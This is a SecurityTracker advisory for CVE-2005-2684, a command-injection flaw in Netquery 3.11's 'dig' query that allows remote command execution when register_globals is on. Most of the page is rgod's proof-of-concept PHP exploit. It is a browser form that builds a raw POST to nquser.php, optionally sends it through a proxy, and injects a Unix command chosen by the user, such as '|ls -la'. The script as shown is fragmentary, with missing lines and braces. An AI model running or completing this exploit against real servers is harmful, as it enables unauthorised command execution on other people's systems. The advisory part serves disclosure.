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Category:   Application (Generic)  >   Netquery Vendors:   Virtual Edge
Netquery Input Validation Hole in 'dig' Query Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1014750
SecurityTracker URL:
CVE Reference:   CVE-2005-2684   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Aug 22 2005
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 3.11
Description:   rgod reported a vulnerability in Netquery. A remote user can execute arbitrary commands on the target system.

The 'host' parameter of the 'dig' query type is not properly validated. If 'register_globals' is set to 'on', then a remote user can supply a specially crafted 'dig' query to execute arbitrary commands on the target system.

Impact:   A remote user can execute arbitrary commands on the target system with the privileges of the target web server.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  NETQUERY 3.11 remote commands execution poc exploit (previous version unproperly patched...)

/* 20.10 21/08/2005
NETQUERY 3.11 remote commands execution
by rgod
a lot of code for a pipe vulnerability...
run it from your browser...
make these changes in php.ini if you have troubles
with this script
allow_call_time_pass_reference = on
register_globals = On
netquery 3.1 was unproperly patched, now it's dig query to be vulnerable
try to launch |ls -la to list directories or this exlpoit form Apache to see if
you installation is vulnerable

echo '<head><title>Netquery 3.11 remote commands execution poc exploit by rgod</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <style type="text/css">
      body,td,th {color: #1CB081;}
      body {background-color: #000000;
             SCROLLBAR-ARROW-COLOR: #ffffff;  SCROLLBAR-BASE-COLOR: black;
      CURSOR: crosshair;
      input {background-color: #303030 !important}
      input {color: #1CB081 !important}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;
        font-weight: bold;
        font-style: italic;
 <p class="Stile6">20.10 21/08/2005</p>
<p class="Stile6">Netquery 3.11 remote commands execution poc exploit by rgod</p>
<p class="Stile6">tested on standalone edition, download it at <a href="" target="_blank"></a></p>
<p class="Stile6">a script by rgod at <a href="" target="_blank"></a></p>
<table width="84%" >
    <td width="43%">
     <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&command=value&proxy=value">
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: </span></p>
        <input type="text" name="path">
        <span class="Stile5">path (ex: /netquery/ or just /) </span></p>
      <input type="text" name="port">
        <span class="Stile5">specify a port other than 80 (default value) </span></p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP proxy (ip:port)  </span></p>
      <input type="text" name="command">
        <span class="Stile5">a Unix command... </span></p>
          <input type="submit" name="Submit" value="go!">
function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
            echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
echo "</tr></table>";
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>''))
if ($port=='') {$port=80;}
if ($proxy=='')
       {$packet="POST ".$path."nquser.php HTTP/1.1\r\n";}
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
        {$packet="POST http://".$host.$path."nquser.php HTTP/1.1\r\n";}
$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."nquser.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
echo '<br> Sending exploit to '.$host.'<br>';
if ($proxy=='')
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     if (!$fp) { echo 'No response from proxy...';
if ($proxy=='')
{    $data='';
     while (!feof($fp))
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...<br> If NetQuery 3.11 is unpatched and vulnerable <br>';
     echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
    {echo 'Error, see output...';}
//show($data); //debug: show output in a packet dump...
echo nl2br(htmlentities($data));
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